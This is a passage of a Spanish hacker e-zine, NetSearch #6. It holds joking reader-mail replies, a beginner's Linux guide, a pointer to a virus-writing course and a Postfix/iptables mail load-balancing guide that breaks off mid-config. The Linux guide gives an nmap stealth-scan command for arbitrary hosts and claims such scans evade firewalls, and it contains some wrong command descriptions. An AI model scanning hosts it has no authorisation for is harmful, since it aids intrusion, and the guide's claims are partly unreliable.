puedes mandar un mail de confirmacion te lo agradeceria
[ De verdad? no creo que sea de verdad... Tu te lo has planteado en serio?
piensa que aqui somos un poco raros... algunos de nosotros hasta hacen
deporte... no creo que quieras juntarte con gente asi... creo que dentro
del equipo hay alguno que bebe vodka como si fuera leche materna...
una panda de degenerados vaya... ]
_-_-_-__-_-_-_
hola disculpa , el atrevimiento pero me interesa el tema ,
y estoy muy interesado en aprender.
si es algo me puedes ayudar te lo agradecere
de ante mano gracias !
se me olvidaba me llama mario
[ Aprender... un gran proposito. Aprender que? una gran duda. ]
_-_-_-__-_-_-_
Hola me llamo Marian y ante todo quiero deciros que teneis una pagina
estupenda. Muchas gracias por intentar ayudarnos a los que como yo no
tenemos ni idea y estamos empezando en esto (con mucho entusiasmo eso si),
pero asi y todo me cuesta un poco ponerme al dia, aunque espero mejorar.
Bueno, voy a lo que os queria preguntar:
Estoy escribiendo desde el ordenador de mi novio, porque desde ayer
tengo un tio que no para de entrarme en el ordenador y dejarme virus, o
gusanos, o lo que mi.. sea. He cerrado todos lo puertos posibles que nos
permite el zone alarm y el jammer. Tengo actualizado el zone, y esta es la
segundo vez en 15 dias que tengo problemas de virus, lo que me lleva a pensar
que conocemos al capullo que lo hace y me da bastante rabia pensar eso.
El ordenador me pone algo asi en pantalla como:
"win32.funlove.4099virus."
ante lo cual le doy al restore y aparece otro y otro y... bueno, ya
sabeis la historia del conejito de duracell.
Lo cierto es que si pongo la ventana de advertencia en un sitio de la
pantalla que no me moleste, puedo seguir haciendo cosas con el ordenador ,
sin que aparezca cada dos segundo el maldito anuncio, pero el ordenador va
mas lento, evidentemente. Que puedo hacer para quitarmelo de encima?. Cuando
apago el ordenador me dice que hay 1 usuario conectado e incluso 2.
Gracias de antemano por todo y como supongo que no podre utilizar el
ordenador en unos dias podeis escribirme al remite de este e-mail.
Muchas, muchas gracias por todo.
Un abrazo.
Marian
[ Pues de forma clara, estas infectada por el virus Win32/funlove. Te
recomiendo que entres en http://www.pandasoftware.es y te hagas una
revision gratis a tu disco duro en busca de virus. ]
_-_-_-__-_-_-_
Disculpemen si este no es el lugar, pero quiseira saber de un sitio para
bajar un programa que me permita conocer un password de hotmail, estoy en un
gran aprieto.
Gracias
Carlos
[ cli
mov dx, offset
mov ax, bucle
sub dx, ax
call ir_patras
sti ]
_-_-_-__-_-_-_
saludos desde mexico:
primero que nada un saludo y decirles que su pagina esta de luxe bueno
tengo poco que me empece a empapar con lo de los hackers y me interesaria
aprender a ser hacker y me agradaria que me asesoraran, les mando saldos
y espero su respuesta
gracias
[ Un hacker es una mala persona. No creo que quieras ser una mala persona. ]
_-_-_-__-_-_-_
SOLICITO AYUDA YA QUE UN HACKER SE APODERO DE MI BUZON
DE CORREO DE HOTMAIL: xxxx@hotmail.com , LE CAMBIO
LA CLAVE Y ESTA HACIENDO DESASTRES CON MIS CONTACTOS,
NECESITO ACCEDER A EL PARA CAMBIARLE LA CLAVE O
ELIMINARLO... AYUDENME....
[ Es una lastima, pero no puedes hacer nada. Simplemente admite que te han
suplantado la personalidad y que vas a necesitar otra nueva. Es hora
de plantearte si quieres cambiar o hacer una completamente distinta, pues
se te ha dado la posibilidad de elegir. ]
[ Casi se me olvida, JB BUCLE ]
_-_-_-__-_-_-_
Hola! No se si este es el sitio adecuado para enviar esto, pero creo que
vosotros me ayudareis como hackers ke soys. Kiero iniciarme en esto de
hackear paginas web y no encuentro un chat en el que poder hablar con
personas que esten en mi misma situacion. Os agradeceria muchisimo ke me
contestarais Esta es mi pagina web www.gratisweb.com/eltrokolo , si kereis
Hackearla me sentiria orgulloso. Si me contestais pongo un link en mi pagina
y en la de mis amigos, aunke creo que no lo necesitais. Bueno Hasta pronto.
(espero)
[ Pues no, he estado preguntando por ahi, y aqui no nos dedicamos a esas
cosas. Los que jaquean paginas we son los de attrition y los de OTT. ]
_-_-_-__-_-_-_
Hola
Necesito el algoritmo de validacion de numeros de tarjetas de
credito para implementarlo en un programa.
Por favor si lo tienes, pasamelo o si sabes donde conseguirlo dimelo.
Gracias y Saludos
Postdata: Tu pagina no es nada cutre (No es peloteo).
[ Gracias por no pelotear. El algoritmo es publico desde hace 20 aÒos,
asi que solo tienes q escarbar un poco en los buscadores. ]
_-_-_-__-_-_-_
hola a todos:
me imagino que se van a cagar de risa cuando lean este mail, me refiero a mi
ignorancia, de todas formas no pierdo nada con probar.
mi situacion es la siguiente tengo 23 aÒos y en la puta vida habia tocados
una compu hasta hace cosa de cuatro meses y no puedo parar, me encanta y
estoy continuamente buscando mas informacion, quiero aprender todo lo que
pueda. bien el tema es que me puse a leer sus articulos y no entiendo un
carajo. por donde puedo empezar? que son todos esos garabatos que ponen? para
que sirven? etc.
lo que me puedan dar sera bienvenido, muy bienvenido.
desde ya muchas gracias por su tiempo.
pd: no se si sirve de algo pero mi maquina es una pentium 4 con un disco
de 30 y 128 ram. tengo windows 98.
chau.
[ Nu se que es lo que querras aprender, pero a los 4 meses de tener un
ordenador, lo mas que hacia era jugar al X-Com (gran juego) y aprender
a manejar el arj. Para aprender mas, leete la ezine, que pa eso estamos.
Que garabatos?. ]
_-_-_-__-_-_-_
hola, tengo un problema y quiza ustedes pueden ayudarme, resulta que hay un
tipo o tipa que se yo que me esta molestadno bastante y quisiera saber quien
es, la verdad yo no se nada de esto de hackers o cracker, pero me han dicho
que ustedes pueden ayudarme a investigar su pasword y ver si en su mail puedo
encontrar algo de informacion, o incluso pueden saber de que maquina se envio
el mail, la ubicacion, quiero saber si esto es cierto y si pueden ayudarme,
de verdad estoy desesperada, espero su respuesta lo mas pronto que puedan, de
antemano gracias
[ Te han recomendado mal. Nosotros solo somos estudiantes zampabollos que
no salimos de casa y nos quedamos encerrados chateando y conspirando
contra los ircops de la red, para hacer un golpe de estado y hacer que
Scytale vuelva con todo su poder. ]
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
=-[ 0x13 ]-==================================================================
=-[ NetSearch Ezine #6 ]-====================================================
=-[ Introduccion a Linux ]-==================================================
=-[ por HuFaKlF ]-===========================================================
Hi!. Primero de todo me presento, soy HuFaKlF y esta es mi primera ( espero
no la ultima ) colaboracion a NetSearch Ezine. En este articulo va a tratar
de manera mas o menos concisa de "LiNUX", un gran sistema operativo, pero que
todavia mucha gente desconoce o ha oido hablar, pero por no saber o no
intentar saber su funcionamiento y manejo, sigue soportando los famosos
productos de Moco$oft, y pagando claro... umm creo que no dije que Linux es
totalmente gratis ;). Pues para disipar todas esas dudas acerca de Linux esta
hecho este pequeÒo texto, en el pretendo no extenderme en cosas "banales" e
irme a lo practico y a lo realmente util, es decir de lo que un usuario
normal puede sacar provecho a diario de su maquina Linux.
INTRODUCCION A LINUX
En cualquier sistema Unix, del cual deriva el Linux, tenemos que tener claro
que hay un superusuario que es el que maneja al 100% el sistema, el cual
tiene acceso y derechos acerca de todos los dispositivos, y otros serian
usuarios normales que tienen accesos "limitados" al sistema. El superusuario
es lo que se denomina "root" y como digo no existen limites para el. Si
conseguimos acceder a una maquina con privilegios de root no tendremos
limites ;).
Aunque parezca lo contrario debemos siempre en nuestra maquina estar como
usuario normal, sin privilegios de ningun tipo, ya que en un despiste
podriamos daÒar el sistema, solo utilizando el superusuario root para
realizar alguna configuracion excepcional, esta es alguna de las razones de
no existir apenas virus en linux, a diferencia de windows, el posible virus,
si estamos en una sesion normal como usuario no tendria posibilidad ninguna
para acceder a algun fichero o dispositivo critico del sistema. Otra de las
grandes facetas de linux es la de internet, bien es cierto que linux es un
sistema operativo creado practicamente con la ayuda de cientos de hackers y
personas apasionadas por los sistemas a traves de internet, y es 100% libre
en codigo fuente, lo que lo hace todavia mas seguro y por supuesto adaptable
a nuestras necesidades.
COMO INSTALAR POR PRIMERA VEZ LINUX
Lo primero que tenemos que hacer es un "backup" de los datos que tenemos en
windows, aqunque no es estrictamente necesario. Un programa muy recomendable
( uno de los mejores diria yo ) es el fips. El fips se puede conseguir en
internet y en numerosos CD de alguna distribucion de Linux. Es muy sencillo
de usar y no se hechan a perder los datos que tengamos en la particion de
windows, simplemente especificamos los MB y nos hace una particion totalmente
independiente, que posteriormente tendremos que "transformar" a ext2, que es
el sistema de ficheros propio de Linux.
Otra particion necesaria es la de swap, de unos 60 MB sera sufuciente,
funcionara como memoria de intercambio, como si fuera una "segunda memoria
RAM". Una vez hecho esto y con nuestro CD de alguna distribucion de Linux
iniciamos el ordenador y podemos hacer de dos maneras: una primera y mas
practica es iniciar el cd desde la BIOS, si no es demasido antigua seguro que
soporta esta opcion, la otra es crear una imagen en un disquete de 3.5",
encontraremos la imagen en el cd de la distro (ocupa 1.40 MB) y la pasamos a
disquete con el RaWrite que seguro que tambien viene en el cd de la distro
;).
Llegados a este punto solo nos falta seguir las opciones de instalacion que
varian bastante de una distro a otra, podemos ver un entorno grafico de facil
configuracion como son las distribuciones de Mandrake o SuSE, o un entorno en
modo texto tipo Debian o Red Hat, menos amigable y no muy recomendable para
novatos.
LOS DIRECTORIOS EN LINUX
Hay un directorio principal que seria el directorio raiz ( tambien llamado
root, ojo no confundirse con el superusuario ;)) que se representa con "/" ,
a partir de ahi se representan los demas directorios, p ej. /usr , /etc ,
/home, /root, /bin , /sbin, /dev, /tmp, etc...
El directorio /usr contiene directorios disponibles para todos los usuarios,
repletos de utilidades, documentacion, juegos, etc..., el directorio /etc
contiene utilidades orientadas a la administracion del sistema y datos de
configuracion, el directorio /home es usado para contener los directorios de
los usuarios normales, el directorio /root como podeis imaginar es el
directorio del superusuario (root). En el directorio /bin se almacenan gran
cantidad de programas y utilidades, en el /sbin lo mismo que el anterior pero
orientadas al superusuario. El directorio /dev contiene todos los
dispositivos de comunicaciones, unidades de almacenamiento,
impresoras,etc..., ya que los trata como si fuesen archivos (asi normalmente
nuestro disco duro sera /dev/hda, la unidad de cdrom /dev/hdb, la disqutera
/dev/fd0, etc...), y el directorio /tmp es donde se almacenan archivos
temporales.
NUESTRO ESPACIO DE TRABAJO. LAS CONSOLAS
En Linux tenemos a nuestra disposicion 6 resplandecientes consolas, donde
podemos introducir los datos y las instrucciones en la linea de comandos o el
entorno grafico tambien llamado "X Window". La forma de acceder es la
siguiente: "Crtl+Alt+Fx", donde Fx se refiere a un numero del 1 al 6, donde
tendremos el aceeso a las 6 consolas. Al entorno grafico accederiamos con la
siguiente secuencia: "Crtl+Alt+F7", podiendo asi alternar sesiones de consola
y entorno grafico (donde tambien tenemos los "Xterm" con linea de comandos
tambien pero en entorno grafico, similar cuando abrimos una ventana de DOS en
Windows) como sistema multitarea que es (ademas de multiusuario ;) ),
disfrutando de una flexibilidad de procesos nunca soÒados en Windows.
LOS COMANDOS
Esta parte es muy importante. Aunque estemos acostumbrados a windows que todo
hace sin aÒadirle ningun comando tipo copy, rd, etc... es muy importante
conocer los comandos de Linux, aunque con el entorno grafico de manera
similar a windows no haria falta saberlos... en fin pero la consola es
nuestra amiga mas fiel, recuerda... ;). A continuacion una lista de los
comandos mas utilizados en Linux:
cd , sirve para entrar en directorios, con "cd .." avanzamos al directorio
inmediatamente inferior.
mkdir , sirve para hacer directorios ( mkdir nombre_directorio).
rmdir , borra el directorio si este esta vacio ( con rmdir -r borra todo ).
cp , copia archivos, ( cp origen destino ).
rm , borra archivos ( tambien directorios con la opcion -r ).
ln , hace enlaces ( con la opcion ln -s hace enlaces simbolicos -son los mas
frecuentes-).
ls , lista los archivos y directorios ( con la opcion -l nos muestra los
permisos y con la opcion -a nos mustra los archivos ocultos -los precedidos
por punto ".").
chmod + opcion , cambia los permisos de un archivo o carpeta.
man , es el manual "en linea" de Linux. Si necesitamos ayuda sobre un
comando, una opcion, cualquier cosa, por ejemplo del comando "cp" hariamos
"man cp" y nos saldria gran cantidad de informacion del comando con todas las
opciones posibles... vamos, vamos que no solo en el Irc esta la informacion
;).
LOS DIFERENTES FORMATOS DE LINUX
En Linux por supuesto no existen los ejecutables *.exe, pero si que existen
ejecutables. Lo que mas nos vamos a encontrar es un archivo comprimido
siguiendo el siguiente esquema: archivo.tar.gz. En este ejemplo tenemos la
extension *.tar.gz, lo que quiere decir que esta comprimido ( la extension
gz, que quiere decir que esta comprimido con Gzip ) y la extension tar que
quiere decir que hay varios archivos "empaquetados" en uno.
Cuando nos encontremos con este tipo de archivos nos ponemos en nuestra
flamante linea de comandos y escribimos: tar xzvf archivo.tar.gz, esto
descomprimira ese archivo metiendo todos los componentes en una carpeta.
Generalmente despues tendremos que compilar eses archivos ya que son solo
fuentes, generalmente en un archivo llamado INSTALL o en un README nos diga
el procedimiento a seguir, que en muchos casos se puede parecer a esto:
./configure , make , make install, esto despues de meternos en la carpeta
generada con el comando "cd".
Otros paquetes muy utilizados son los RPM, son paquetes ya compilados. Si nos
encontramos en las X solo con hacer un clic ya lo instala el gestor de
paquetes rpm de la distribucion correspondiente, y desde consola lo
instalamos simplemente haciendo: rpm -i archivo.rpm., este sistema de
paquetes es originario de Red Hat pero lo han tomado la gran mayoria de
distros a excepcion de Debian que tiene su equivalente en los *.deb que se
instalan en Debian asi: dpkg -i paquete.deb.
Debian es una distribucion tan buena como particular por lo que no voy a
profundizar en su sistema apt-get ni similares ;). Otro formato de ficheros
frecuente en Linux es el *.src.rpm. Para descomprimirlo hariamos primero: rpm
-ivh archivo.src.rpm, lo que dejaria el source generalmente en la carpeta
/usr/src/"algo" dependiendo la distribucion de Linux que estemos utilizando.
Si nosotros queremos hacer un archivo *.tar.gz, es decir hacer un paquete de
archivos y a la vez comprimirlos pues hariamos de la siguiente manera: tar
cvf nombre.tar archivo1 archivo 2 archivo3....., asi creariamos un nombre.tar
con eses archivos "empaquetados", y con gzip -9 nombre.tar se comprimiria
ahorrando espacio en disco ( el modificador -9 indica que utilice el factor
maximo de compresion), quedando finalmente: "nombre.tar.gz", que
descomprimiriamos como dijimos anteriormente.
Una cosa a tener en cuenta en Linux, es la manera de ejecutar los ejecutables
( valga la redundancia ;) ) en Linux. Si tenemos un ejecutable ( que puede
ser un nombre o bien una extension *.bin ) para ejecutarlo desde la consola
como digo, simplemente aÒadiriamos "./" antes del nombre del ejecutable, p.
ej. si quisieramos ejecutar el browser mozilla que esta en "usr/bin/mozilla",
una manera de ejecutarlo seria abriendo un Xterm ( de lo contrario al
ejecutarlo en una consola sin entorno grafico "X" daria error, ya que el
browser necesita el entorno grafico ;) ), hariamos una vez entrados en el
directorio correspondiente "./mozilla" y ya ejecutariamos el programa.
LA RED DE REDES EN NUESTRA MAQUINA LINUX
Como dije anteriormente Linux esta desarrollado mayoritariamente a traves de
Internet y se siente como pez en el agua en nuestra red preferida, ummm...
internet dije que se se llama verdad? ;). Muchas son las utilidades de Linux
que vienen desarrolladas hacia internet, hablar de ellas aqui con detalle
seria cosa de muchas mas hojas de las que disponemos, pero podemos citar al
rey de los servidores de internet "Apache", servidores de ftp como pueden ser
"ProFtpd" "Wu-Ftpd", servidores de telnet como pueden ser "Telnetd",
conexiones seguras de telnet "Ssh".
Por supuesto que tenemos tambien la posibilidad de acceder a otras maquinas a
traves de ftp y de telnet en nuestro Linux, es muy sencillo, aqui os voy a
explicar como hacerlo de una manera muy breve y obvia, pero si no teneis
mucha idea os sera de gran ayuda ( para los "renegados" que todavia utilizan,
como era..... guindous? ;), pos tambien sirve para eso...).
Si queremos aceder a un ftp, primero tenemos que tener clarisimo es que el
puerto del ftp es el 21 ( aunque de no ponerlo nos lo definira por defecto),
entonces hariamos:
ftp ip_destino 21
Como vemos ponemos el comando ftp dira a la maquina que vamos a establecer
una conexion ftp, despues le indicamos la direccion a la que dirijirse y
finalmente el puerto. Nos va pedir que nos identifiquemos, pondremos de login
"anonymous" y de contraseÒa nuestro e-mail ( valen falsos ). Una vez dentro
listamos lo los directorios y ficheros que hay con "ls", entramos en los
directorios con el comando "cd", si quisieramos coger y bajarnos algo de ese
ftp utilizariamos el comando "get archivo" y muchas cosas mas. Si escribimos
"help" o "?" nos saldran todas las opciones disponibles...
Para establecer una conexion telnet ( el puerto por defecto es el 23 ) pues
hariamos los siguiente:
telnet ip_destino 23
Aqui lo mismo que antes solo que las conexiones anonimas no funcionan :(.
Telnet es muy flexible, pudiendo utilizarlo para mandar e-mails, en este caso
especificando los puertos, en vez de 23, serian 110 del pop3 y 25 del smtp,
etc... y muchas cosas mas... ponle imaginacion ;).
Una utilidad tambien muy importante es el "nmap", sirve para hacer escaneos,
y saber los puertos abiertos que tiene una maquina, su sistema operativo y
demas datos adicionales. Y lo mas importante no da alerta a los fire si es
que la maquina a la que se lo hacemos lo tiene. Este comando "nmap" puede ir
( y debe ) acompaÒado de opciones, una que va bastante bien es la siguiente:
nmap -P0 -sS -O -v ip_destino
Aqui hace un escaneo bastante completo, diciendo el SO que tiene la maquina,
los puertos abiertos, a que se corresponde cada puerto, etc...
DONDE BUSCAR LA INFORMACION
Existen gran cantidad de paginas referidas al mundo Linux en espaÒol, aqui
unas cuantas direcciones que seran de gran utilidad:
http://www.google.com ; es un gran buscador, cualquier cosa referente a Linux
antes de darnos por vencidos acudiremos aqui.
http://www.freshmeat.net ; tambien es un gran buscador pero de programas
referidos a Linux, cualquier programa relacionado
con linux seguro que lo encontraremos aqui.
http://www.rpmfind.net ; es el buscador de formato RPM por excelancia, si
queremos encontrar un programa en el formato rpm, ya
compilado, aqui lo encontraras. Es una de las
paginas mas visitadas por los usuarios de Linux.
http://www.lucas.hispalinux.es ; traduccion de documentos Linux al espaÒol
del Proyesto Lucas.
http://www.insflug.org ; inmensa cantidad de COMOs y y FAQs, en espaÒol, si
buscas informacion sobre algo referente al sistema
Linux, como configurar programas, aplicaciones..
aqui siempre encontraras manuales con algo
interesante.
DESPEDIDA
Pues esto fue todo. Quedan aun muchas cosas que explicar y hacer referencia
pero el espacio del que dispongo no es tan extenso como todos quisieramos.
Espero que muchas dudas acerca sobre Linux fueran solucionadas, aunque si ya
eres un experto esto no te habra sido de gran ayuda. En el proximo numero
quiza profundicemos mas en el tema ;). Hasta la proxima!.
HuFaKlF
amilrego@worldonline.es
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
=-[ 0x14 ]-==================================================================
=-[ NetSearch Ezine #6 ]-====================================================
=-[ Curso de Virii (Virus Inform.) ]-========================================
=-[ por Wintermute ]-========================================================
Si quieres leer este genial tutorial sobre la programacion de virus
informaticos es muy sencillo, solo tienes que coger tu navegador web
y visualizar el fichero './0x14/index.htm'. Un saludo.
El Editor
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
=-[ 0x15 ]-==================================================================
=-[ NetSearch Ezine #6 ]-====================================================
=-[ Balanceo de carga entre SMTP's ]-========================================
=-[ por |CoDeX| ]-===========================================================
Con la implementacion de un balanceo entre servidores conseguiremos
principalmente que la carga de uso de cpu y memoria en ambas maquinas se
reduzca, que los clientes puedan seguir mandando correo en caso que alguna de
las maquinas se quedara sin conexion o sin dicho servicio y que no hubiera
perdidas de correo.
En el caso que se plantea, se ha llevado a cabo un balanceo para el dominio
microwolf.net obteniendo resultados optimos. Para ello contabamos con un
servidor Linux con el servidor de correo SMTP PostFix y con un NT con
servidor de correo SMTP y POP, ( Microsoft Exchange Internet Mail Service
5.5.2650.21 y Microsoft Exchange POP3 server version 5.5.2653.22 ).
A continuacion se explican los pasos a realizar:
1.- Realizar los cambios adecuados en el archivo de zona para el dominio
microwolf.net, de forma que carlos.microwolf.net apunten a las IP's
212.79.132.10 (NT) y a 212.79.132.11 (Linux) para que al hacer una solicitud
de resolucion del host carlos.microwolf.net, nos devuelva una IP u otra.
El archivo de zona contendria lo siguiente:
codex@networking: /var/named]$ cat microwolf.net.hosts
; microwolf.net
; De |CoDeX|
; esto se supone que va en la misma linea
microwolf.net. IN SOA nodo.networking-center.org.
codex.networking-center.org. (
2001051700
2400
1200
86400
3600 )
microwolf.net. IN NS nodo.networking-center.org.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Servidores NS.
; Servidores MX.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
@ NS nodo.networking-center.org.
MX 10 carlos.microwolf.net.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Servicios con IP Asignada
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
nodo A 193.243.244.6
www A 193.243.244.7
ftp A 193.243.244.7
correo A 212.79.132.10
carlos A 212.79.132.10
carlos A 212.79.132.11
smtp IN CNAME carlos.microwolf.net.
pop IN CNAME carlos.microwolf.net.
De todo este archivo de zona, lo que mas nos interesa son los registros de
correo, carlos, smtp y pop, asi como el registro MX.
Una vez hecho esto, tendriamos que hacer que el servidor de DNS al que apunta
el dominio en cuestion, actualizara las zonas. Se entiende por zona a cada
uno de los dominios que estan dados de alta en dicho servidor DNS. Tambien
habria que esperar a que el resto de servidores de DNS de Internet
actualizaran su cache en caso que ya tuviera cacheado el dominio en cuestion.
2.- Comprobamos que la resolucion de carlos.microwolf.net se hace
correctamente y ademas nos contesta de forma aleatoria con una IP u otra.
Para llevar a cabo esta comprobacion, haremos uso del comando nslookup y del
comando ping, a traves del cual, mandaremos en cada ocasion un paquete icmp a
carlos.microwolf.net ( opcion -c 1 ).
codex@afrodita:~ > nslookup carlos.microwolf.net
Server: seux005.supercable.es
Address: 212.79.128.18
Non-authoritative answer:
Name: carlos.microwolf.net
Addresses: 212.79.132.11, 212.79.132.10
Con el nslookup comprobamos si los registros tipo A de 'carlos' los hemos
llevado a cabo bien.
Ahora pasamos a mandar los paquetes ICMP.
codex@afrodita:~ > ping -c 1 carlos.microwolf.net
PING carlos.microwolf.net (212.79.132.10): 56 data bytes
64 bytes from 212.79.132.10: icmp_seq=0 ttl=128 time=1.274 ms
--- carlos.microwolf.net ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 1.274/1.274/1.274 ms
codex@afrodita:~ > ping -c 1 carlos.microwolf.net
PING carlos.microwolf.net (212.79.132.10): 56 data bytes
64 bytes from 212.79.132.10: icmp_seq=0 ttl=128 time=1.357 ms
--- carlos.microwolf.net ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 1.357/1.357/1.357 ms
codex@afrodita:~ > ping -c 1 carlos.microwolf.net
PING carlos.microwolf.net (212.79.132.11): 56 data bytes
64 bytes from 212.79.132.11: icmp_seq=0 ttl=255 time=0.921 ms
--- carlos.microwolf.net ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.921/0.921/0.921 ms
codex@afrodita:~ > ping -c 1 carlos.microwolf.net
PING carlos.microwolf.net (212.79.132.10): 56 data bytes
64 bytes from 212.79.132.10: icmp_seq=0 ttl=128 time=1.276 ms
--- carlos.microwolf.net ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 1.276/1.276/1.276 ms
codex@afrodita:~ > ping -c 1 carlos.microwolf.net
PING carlos.microwolf.net (212.79.132.11): 56 data bytes
64 bytes from 212.79.132.11: icmp_seq=0 ttl=255 time=0.842 ms
--- carlos.microwolf.net ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.842/0.842/0.842 ms
codex@afrodita:~ > ping -c 1 carlos.microwolf.net
PING carlos.microwolf.net (212.79.132.10): 56 data bytes
64 bytes from 212.79.132.10: icmp_seq=0 ttl=128 time=1.265 ms
--- carlos.microwolf.net ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 1.265/1.265/1.265 ms
codex@afrodita:~ > ping -c 1 carlos.microwolf.net
PING carlos.microwolf.net (212.79.132.11): 56 data bytes
64 bytes from 212.79.132.11: icmp_seq=0 ttl=255 time=0.832 ms
--- carlos.microwolf.net ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.832/0.832/0.832 ms
codex@afrodita:~ > ping -c 1 carlos.microwolf.net
PING carlos.microwolf.net (212.79.132.10): 56 data bytes
64 bytes from 212.79.132.10: icmp_seq=0 ttl=128 time=1.261 ms
--- carlos.microwolf.net ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 1.261/1.261/1.261 ms
codex@afrodita:~ > ping -c 1 carlos.microwolf.net
PING carlos.microwolf.net (212.79.132.11): 56 data bytes
64 bytes from 212.79.132.11: icmp_seq=0 ttl=255 time=0.825 ms
--- carlos.microwolf.net ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.825/0.825/0.825 ms
codex@afrodita:~ > ping -c 1 carlos.microwolf.net
PING carlos.microwolf.net (212.79.132.10): 56 data bytes
64 bytes from 212.79.132.10: icmp_seq=0 ttl=128 time=1.252 ms
--- carlos.microwolf.net ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 1.252/1.252/1.252 ms
Como podemos observar, parte del objetivo lo tenemos cumplido, ya que en unas
ocasiones nos ha resulto la 212.79.132.10 y en otras la 212.79.132.11.
Concretamente, de los 10 ping realizados, el host carlos.microwolf.net nos ha
contestado como la 212.79.132.10 en 6 ocasiones y como 212.79.132.11 en 4 de
las ocasiones. Segun estos datos, el balanceo ha sido de 60% / 40%, lo cual
es muy optimo para el metodo elegido ya que esto mismo, por norma general, se
hace a traves de componentes de hardware preparados especificamente para ello
y con posibilidad de configurarle que tanto por ciento queremos para cada
maquina.
3.- El paso siguiente seria permitir el relay para microwolf.net tanto en el
Linux como en el NT.
En el servidor SMTP del Linux deberemos aÒadir la linea microwolf.net en el
archivo relay_domains o en su defecto, en el archivo que hayamos definidos
nosotros para ello.
echo microwolf.net >> /etc/postfix/relay_domains
En el Exchange del NT o bien en cualquier otro programa que usemos para ello,
deberemos permitir tambien el relay y ponerlo en la tabla de dominios
enrutados como entrada (inbound).
4.- El siguiente paso sera hacer que todo el correo que llegue al SMTP del
Linux y que vaya dirigido a cualquier usuario del dominio microwolf.net, se
reenvie al SMTP del NT, ya que es este quien tiene los buzones POP.
Para ello, deberemos hacer uso del archivo transport. Lo primero que
deberemos hacer es indicarle al postfix en el main.cf que vamos a usar dicho
archivo. AÒadiremos la siguiente linea en el /etc/postfix/main.cf:
transport_maps = hash:/etc/postfix/transport
Ahora aÒadir las siguientes lineas en el /etc/postfix/transport:
codex@afrodita:~ > cat /etc/postfix/transport
undersec.com local:
localhost local:
microwolf.net smtp:correo.microwolf.net:25
Si es la primera vez que hacemos uso de este archivo, las 3 lineas de ese
archivo son de vital importancia ya que como dije anteriormente, aqui diremos
hacia donde reenviar el correo que vaya hacia un determinado dominio /
subdominio y por tanto debemos indicar tambien que si va dirigido a
@localhost o @undersec.com, los buzones estan en esta misma maquina ( local:
). En cambio, si va dirigido a @microwolf.net le indicamos que lo mande a la
IP a la que apunta el host correo.microwolf.net, que si consultais el archivo
de zona del DNS, apunta a la 212.79.132.10, es decir, al NT. Una cosa muy
importante a tener en cuenta es que NO se puede poner directamente la
direccion IP de la maquina.
Forma incorrecta:
microwolf.net smtp:212.79.132.10:25
Forma correcta:
microwolf.net smtp:correo.microwolf.net:25
Una vez editado el archivo /etc/postfix/transport deberemos ejecutar el
siguiente comando para crear el transport.db y que realmente tenga efecto lo
realizado.
root@afrodita:/ > postmap /etc/postfix/transport
5.- Como siempre hay que intentar ponerse en el peor de los casos, eso es lo
que hemos hecho puesto que hemos definido un mismo Host para el correo SMTP y
el correo POP, por tanto, deberemos indicarle al Linux que si recibe una
peticion al puerto 110, esa peticion la debe redireccionar a la maquina NT,
que es donde se encuentra el correo POP y por tanto, los buzones de los
usuarios.
Para llevar a cabo eso, usaremos iptables:
# Redireccionar conexiones al 110 de afrodita hacia el 110 del NT
iptables -t nat -A PREROUTING -i eth0 -p tcp -d 212.79.132.11 --dport 110 -j
DNAT --to 212.79.132.10:110
iptables -t nat -A PREROUTING -i eth0 -p udp -d 212.79.132.11 --dport 110 -j
DNAT --to 212.79.132.10:110
# Hacemos el masquerade hacia el NT para la redireccion del puerto 110
# En caso que el NT tuviera como gateway a afrodita, no seria necesario.
iptables -t nat -A POSTROUTING -o eth0 -d 212.79.132.10 -j MASQUERADE
# Utilizado para el redireccionamiento hacia el 110 del NT
# ya que es necesario el reenvio de paquetes entre las maquinas
iptables -t filter -A FORWARD -p tcp -s 212.79.132.10 --sport 110 -j ACCEPT
iptables -t filter -A FORWARD -p udp -s 212.79.132.10 --sport 110 -j ACCEPT
iptables -t filter -A FORWARD -p tcp -d 212.79.132.10 --dport 110 -j ACCEPT
iptables -t filter -A FORWARD -p udp -d 212.79.132.10 --dport 110 -j ACCEPT
Esto no hubiera sido necesario si en el archivo de zona del DNS estuvieran
los siguientes registros:
smtp IN CNAME carlos.microwolf.net.
pop A 212.79.132.10
6.- Una cosa importante a tener en consideracion es que un usuario pueda
mandar un correo usando cualquier conexion a internet. En principio, tal y
como esta configurado el servidor smtp, no es viable ya que unicamente se
permite el envio de correo por parte del usuario, si su ip es del rango
212.79.132.0/24 o va dirigido a dominios dados de alta en nuestro servidor.
Esto se hace para evitar los spam, es decir, el envio de correo masivo. Para
permitir lo dicho al principio, hariamos lo siguiente:
En el /etc/postfix/main.cf aÒadimos:
smtpd_recipient_restrictions =
permit_mynetworks
